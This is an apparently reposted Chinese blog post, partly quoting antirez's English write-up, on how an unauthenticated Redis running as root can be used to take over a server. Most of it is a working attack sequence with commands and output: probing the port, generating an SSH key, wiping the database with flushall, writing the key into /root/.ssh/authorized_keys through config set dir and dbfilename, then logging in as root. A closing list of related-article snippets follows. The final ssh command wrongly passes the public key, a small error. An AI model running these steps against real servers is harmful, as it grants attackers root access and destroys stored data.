redis配置不当可导致服务器被控制

服务器配置不当包括三个部分:
1.Redis服务使用ROOT账号启动
2.Redis服务无密码认证或者使用的是弱口令进行认证
3.服务器开放了SSH服务,而且允许使用密钥登录

简单的写下过程

测试环境
victim server CentOS6.6 192.168.1.11
attack server CentOS6.6+redis2.4 192.168.1.12

1

2

3

4

5

6

7

8

9

10

$ telnet 192.168.1.11 6379

Trying 192.168.1.11...

Connected to 192.168.1.11.

Escape character is ‘^]‘.

echo "Hey no AUTH required!"

$21

Hey no AUTH required!

quit

+OK

Connection closed by foreign host.

表明了Redis是正常工作的,而且不需要进行身份认证。

先在attack server生成一个公钥

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

$ ssh-keygen -t rsa -C "[email protected]"

Generating public/private rsa key pair.

Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in ./id_rsa.

Your public key has been saved in ./id_rsa.pub.

The key fingerprint is:

f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 crack@redis.io

The key‘s randomart image is:

+--[ RSA 2048]----+

|          .   O+.|

|       . o o..o*o|

|      = . + .+ . |

|     o B o    .  |

|    . o S    E . |

|     .        o  |

|                 |

|                 |

|                 |

+-----------------+

这样有了一个公钥,但是需要把这个公钥复制到目标机器

1

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

Now foo.txt is just our public key but with newlines. We can write this string inside the memory of Redis using redis-cli:

1

$ redis-cli -h 192.168.1.11 flushall

1

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

Looks good. How to dump our memory content into the authorized_keys file? That’s
kinda trivial.

1

2

3

4

5

6

7

8

9

10

$ redis-cli -h 192.168.1.11

192.168.1.11:6379> config set dir /Users/antirez/.ssh/

OK

192.168.1.11:6379> config get dir

1) "dir"

2) "/Users/antirez/.ssh"

192.168.1.11:6379> config set dbfilename "authorized_keys"

OK

192.168.1.11:6379> save

OK

At this point the target authorized keys file should be full of garbage, but should also include our public key. The string does not have simple patterns so it’s unlikely that it was compressed inside the RDB file. Will ssh be so naive to parse a totally corrupted file without issues, and accept the only sane entry inside?

1

2

3

4

5

$ ssh -i id_rsa antirez@192.168.1.11

Enter passphrase for key ‘id_rsa‘:

Last login: Mon Nov  2 15:58:43 2015 from 192.168.1.10

~ ? hostname

Salvatores-MacBook-Air.local

TeX

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

###测试环境

```

victim server CentOS6.6+redis2.4  192.168.192.133

attack server CentOS6.6  192.168.192.132

```

先在attack server生成一个公钥

```

ssh-keygen -t rsa -C "redis"

(echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt

```

然后执行

```

redis-cli -h 192.168.192.133 flushall

cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn

```

登录redis并修改其配置  redis-cli -h 192.168.192.133

```

CONFIG set dir /root/.ssh/

config set dbfilename "authorized_keys"

save

exit

```

然后就可以使用ssh的公钥登录了

```

ssh -i redis.pub root@192.168.192.133

```

参考:
http://antirez.com/news/96
http://v2ex.com/t/234520#reply25

时间: 2024-10-19 20:42:38

redis配置不当可导致服务器被控制的相关文章

Redis配置不当可导致服务器被控制,已有多个网站受到影响 #通用程序安全预警#

文章出自:http://news.wooyun.org/6e6c384f2f613661377257644b346c6f75446f4c77413d3d 符合预警中“Redis服务配置不当”条件的服务器,均有被攻击者控制的风险. 11月4日,国外安全研究人员@antirez 公布Redis服务一例高危安全风险.其发现,Redis服务如果配置不当,结合SSH服务,可以直接获取服务器的ROOT权限. 服务器配置不当包括三部分: Redis服务使用ROOT账户启动: Redis服务无密码认证或者弱密码

redis配置不当导致机器被黑

近日公司安全专家对业务云主机进行例行安全检查发现某redis服务器异常,现象如下: 1.系统的history和/var/log日志目录均被清空: 2.流量异常 3.恶意新建了一个id=0,名称为beef-xbdb的高权限用户,其home目录是/root,跟root用户的属性做了绑定: 4./boot启动目录有名称为gakzigdpzp的木马文件: 5./boot目录下面的木马文件与192.225.230.143,一个香港的IP存在SYN_SENT连接状态的网络交互行为: 6.多个目录存在木马/后

Nginx配置不当可能导致的安全问题

Nginx配置不当可能导致的安全问题 Auther: Spark1e目前很多网站使用了nginx或者tenginx(淘宝基于Nginx研发的web服务器)来做反向代理和静态服务器,ningx的配置文件nginx.conf的一些错误配置可能引发一些安全问题.要了解这些问题,我们先简单了解一下Nginx的配置文件 0x00 Nginx的配置文件的格式 Nginx的主配置文件非常简短,是由一些模块构成的.在任何情况下Nginx都会加载其主配置文件.一个主配置文件nginx.conf的结构如下: ...

kafka没配置好,导致服务器重启之后,topic丢失,topic里面的消息也丢失

转,原文:https://blog.csdn.net/zfszhangyuan/article/details/53389916 ------------------------------------------------ 这个问题,在线上集群环境一般不容易出现,因为相关的日志文件参数都已经配置好了,而且经受住时间的的验证了. 作为新手,我在本地配置了一个单机kafka,用得是kafka自带的zookeeper服务. kafka安装很简单如下: 1).下载kafka: wget http:/

戴尔PowerEdge服务器RAID控制卡的配置

示例演示环境:PowerEdge R620 + H710p Raid控制卡  + 9 x 300G 10k SAS 硬盘 H310.H710.H810的配置方法与H710P大致相同,在此不再累述. 特别说明,本文相关RAID的操作,仅供网友在测试环境里学习和理解戴尔PowerEdge服务器RAID控制卡的功能和使用方法.切勿直接在生产服务器上做相关实验,这可能有误操作并造成数据丢失的风险! 一.PERC卡RAID配置信息的初始化: 戴尔PowerEdge服务器RAID控制卡的配置,可以使用戴尔提

NFS配置不当导致的那些事儿

NFS(Network File System):是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源: NFS配置:(声明:以下NFS实验是在RedHat7上完成) 首先安装NFS(我的机子是最小化的系统,需要自己安装): yum install nfs-utils.x86_64 -y 启动服务: systemctl start rpcbind(如果这个服务不启动,nfs服务会启动失败) systemctl start nfs-server system

Redis配置与优化

Redis配置与优化 Redis概述 Redis 是一个高性能的key-value数据库. redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部分场合可以对关系数据库起到很好的补充作用.它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便. Redis优点 具有极高的数据读写速 支持丰富的数据类型 支持数据的持久化 原子性 支持数据备份 Redis配置文件(/et

Dnsmasq安装与配置-搭建本地DNS服务器 更干净更快无广告DNS解析

默认的情况下,我们平时上网用的本地DNS服务器都是使用电信或者联通的,但是这样也导致了不少的问题,首当其冲的就是上网时经常莫名地弹出广告,或者莫名的流量被消耗掉导致网速变慢.其次是部分网站域名不能正常被解析,莫名其妙地打不开,或者时好时坏. 如果碰上不稳定的本地DNS,还可能经常出现无法解析的情况.除了要避免"坏"的DNS的影响,我们还可以利用DNS做些"好"事,例如管理局域网的DNS.给手机App Store加速.纠正错误的DNS解析记录.保证上网更加安全.去掉网

Redis配置详解-客户端缓冲区 output buffer

Redis配置详解-客户端缓冲区  http://blog.csdn.net/jiangguilong2000/article/details/38436941 Redis异常及使用总结 http://blog.csdn.net/jiangguilong2000/article/details/45025355 客户端缓冲区 output buffer 大概已经知道Redis是一个内存数据库,这意味着所有的数据都由RAM直接管理和提供的.因此Redis有着卓越的交付性能,Redis可以以亚毫秒级